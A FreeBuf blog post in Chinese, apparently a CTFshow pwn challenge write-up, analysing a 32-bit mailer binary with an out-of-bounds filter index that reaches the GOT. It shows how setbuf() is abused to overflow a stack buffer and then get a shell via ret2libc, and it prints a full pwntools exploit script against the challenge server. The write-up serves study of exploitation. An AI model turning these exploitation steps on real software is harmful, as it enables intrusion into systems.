freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTFshow平台pwn题(签退)—基于setbuf()的缓冲区溢出攻击
2022-08-30 17:11:40
所属地 福建省

漏洞总是发生在看似平平无奇的代码中
分明对下标进行了限制的数组还是被越界了
pwn题中最常见的setbuf()函数居然也能用于栈溢出
ret2libc总是那么可靠
——记一道pwn的解题历程。

题目地址

分析

下载附件并使用file命令分析,得知是一个32位ELF程序,于是传到Ubuntu上运行,提示这是一个Secret Mailer Service并提供了几个4个菜单选项:

乍一看,觉得这就是个典型的堆类pwn题,AddDelete就对应了堆的mallocfree操作,而盲猜Post可能是用来读取chunk内容的。
而正准备去Add选项找堆溢出,或者Delete选项中找找有没有UAF或者double free的时候,突然发现事情并不单纯。。

静态分析

把题目文件拖到ghidra里一顿分析,发现这个题跟堆没有任何关系——所有的数据都在栈上,其中主要的数据letter就是main函数栈上1328字节长的一段内存:

根据程序逻辑对结构体进行还原,栈上这段内存可以容下0~4共5个letter,每个letter结构体包含字符串、字符串长度和是否使用这3个属性。还原后的letter结构体定义如下:

根据还原的letter结构体,对反汇编代码进行优化调整。选项1功能的add_letter函数核心逻辑如下,在读取用户输入时通过read函数指定了长度,因此不会造成缓冲区溢出,此处无漏洞:

void add_letter(Letter *letter_array) {
  long length;
  int index;
  ...
  printf("\nInput your contents: ");
  length = READ(letter_array[index].content,0x100);
  letter_array[index].length = length;
  letter_array[index].in_use = 1;
  puts("\nDone!");
}

选项2功能的delete_letter函数核心逻辑如下,只是对数据进行了简单的置空,由于数据不是在堆上,所以这样的处理也就够了,同样没有留下漏洞:

void delete_letter(Letter *letter_array) {
  int index;
  ...
  letter_array[index].in_use = 0;
  letter_array[index].length = 0;
  memset(letter_array[index].content,0,0x100);
  puts("\nDone!");
}

选项3功能的post_letter函数核心逻辑如下:

void post_letter(Letter *letter_array,FILE *fd) {
  int index;
  int choice;
  ...
  puts("\nWhich filter do you want to apply?");
  show_filter();
  choice = get_int();
  if (choice < 3) {
    (*(code *)(&filter_array)[choice])(fd,letter_array[index].content,letter_array[index].length);
    puts("\nDone!");
  }
  else {
    puts("Invalid filter.");
  }
}

post_letter的主要功能是根据用户输入选择一个filter函数,并应用该filter函数把letter内容写入到文件fd中。post_letter参数fd是文件/dev/null的句柄,是Linux上的黑洞文件。
post_letter上存在数组越界访问漏洞,对于用户输入的choice整数变量只做了choice < 3的验证,当choice为负数时,就会访问到filter_array前面的数据,并将其作为一个filter函数调用。那么filter_array的前面是什么呢?是GOT段

也就是说,通过数据越界访问,可以调用GOT表上任一个函数!但坏消息是没法构造函数调用时的参数,而只能以程序本身调用filter函数的方式进行传参,也就是传递FILE *char *int三个参数。能处理这3个参数的GOT函数不多,而且要用来实现攻击,那选择就更少了,freadfwrite之类首先被排除,最后希望落在setbuf函数上。

setbuf(FILE *stream, char *buffer)

setbuf函数用于将IO流与缓冲区进行数据同步,这么说比较抽象,直接上代码:

#include <stdio.h>
int main() {
   char buf[BUFSIZ];
   FILE *fd = fopen("/dev/null", "a");
   setbuf(fd, buf);    // 将buf与fd进行数据绑定
   fwrite("AAAA", 1, 4, fd);
   fwrite("BBBB", 1, 4, fd);
   puts(buf);       // 输出AAAABBBB
}

在上述代码中,没有对缓冲区buf赋值,但通过setbuf将其与绑定fd绑定,从而buf获取了输入到fd中的数据,而且对于多次输入到fd的数据,在buf中是以累计方式存储的,这样可以通过多次输入绕过read函数对输入长度的限制。于是通过setbuf函数来进行栈溢出攻击可以分为2个步骤:

  1. 将栈上的buf与fd绑定;

  2. 多次向fd写入数据,同时也是在栈上buf写入数据,溢出缓冲区,修改栈帧。

由于题目没有开启NX保护,GOT表上也没有system函数,所以剩下的问题就是构造ret2lic来获取shell。

动态调试

main函数的栈上可以存放5个letter,其中letter4距离栈底最低,所以用来溢出,而其他的letter用来存放数据以待用于post到fd上。
用gdb进行动态调试,在main函数中打断点,letter_array始于0000,而EBP指向0528,每个letter的长度是0x108,所以从letter4溢出到返回地址需要填充的数据长度为0x108 + 4 = 0x10C。一个装满的letter可以提供0x100字节的填充,所以只需要前2个letter就可以完成payload的布局,然后通过post写入到letter4上完成栈溢出。
在动态分析上发现0x10C字节的填充存在微小的偏差,实际上需要多填充1个字节:

脚本编写

首先把4个letter结构体都申请出来,顺便在前2个letter上放上用于ret2libc的payload,这个payload用于在32位上调用puts函数获取puts函数在内存的全局地址。

plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
# 重开main函数
main = 0x08048bd0
# 把所有letter都申请出来
payload0 = b'0' * 0x100
add(payload0)   # letter0
payload1 = b'0' * 0xD + p32(plt_puts) + p32(main) + p32(got_puts) + b'\n'
add(payload1)   # letter1
add('2222\n')   # letter2
add('3333\n')   # letter3
add('4444\n')   # letter4

其次调用setbuf函数绑定fd和letter4,再通过post功能把letter1和letter2上的payload放在letter4上造成栈溢出,通过调用puts函数来泄漏一个全局地址,从而获取libc的版本和基址信息。

filter_list = 0x0804b048
got_setbuf = elf.got['setbuf']
setbuf_index = int((got_setbuf - filter_list) / 4)
# 调用setbuf(fd, letter4)
post(4, setbuf_index)
# 把payload加载到letter4上
post(0, 0)
post(1, 0)
# 结束main函数以调用puts
quit()
sh.recvline()
global_puts = u32(sh.recv(4))
print("++++++++++++++++puts: ", hex(global_puts))
# 计算libc的基址
libc = LibcSearcher('puts',global_puts)
libc_base = global_puts - libc.dump('puts')
# 计算system("/bin/sh")所需的地址
global_system = libc_base + libc.dump('system')
global_binsh = libc_base + libc.dump('str_bin_sh')

得到了system函数和/bin/sh字符串的全局地址,最后只需要再重复上述步骤进行一次栈溢出就可以get shell了。

完整脚本

from pwn import *
from LibcSearcher import LibcSearcher
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(content):
    sh.sendlineafter('>', b'1')
    sh.sendafter(':', content)

def delete(index):
    sh.sendlineafter('>', b'2')
    sh.sendlineafter(':', str(index).encode())

def post(index, filter):
    sh.sendlineafter('>', b'3')
    sh.sendlineafter(':', str(index).encode())
    sh.sendlineafter('>', str(filter).encode())

def quit():
    sh.sendlineafter('>', b'4')

elf = ELF(elf_name)
sh = remote('pwn.challenge.ctf.show', 0)

filter_list = 0x0804b048
got_setbuf = elf.got['setbuf']

plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
main = 0x08048bd0

# 把所有POST都申请出来
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 9 + p32(0) + p32(plt_puts) + p32(main) + p32(got_puts) + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')

setbuf_index = int((got_setbuf - filter_list) / 4)
# 将letter4绑定到fd上
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()
a = sh.recvline()
print(a)
global_puts = u32(sh.recv(4))
print("++++++++++++++++puts: ", hex(global_puts))
# 计算libc的基址
libc = LibcSearcher('puts',global_puts)
libc_base = global_puts - libc.dump('puts')
# 计算system("/bin/sh")所需的地址
global_system = libc_base + libc.dump('system')
global_binsh = libc_base + libc.dump('str_bin_sh')

# 重新来一遍
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 13 + p32(global_system) + p32(global_binsh) * 4 + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')

setbuf_index = int((got_setbuf - filter_list) / 4)
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()

sh.interactive()
sh.close()

运行脚本get shell读取flag完工。

知识点总结

对数组下标限制不严格可导致数组越界访问;

setbuf()可对缓冲区进行多次累加写入,绕过长度限制,造成溢出攻击;

GOT表上没有system()函数,则需要考虑ret2libc来get shell。

# 栈溢出 # pwn # StackOverflow # ctfshow
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录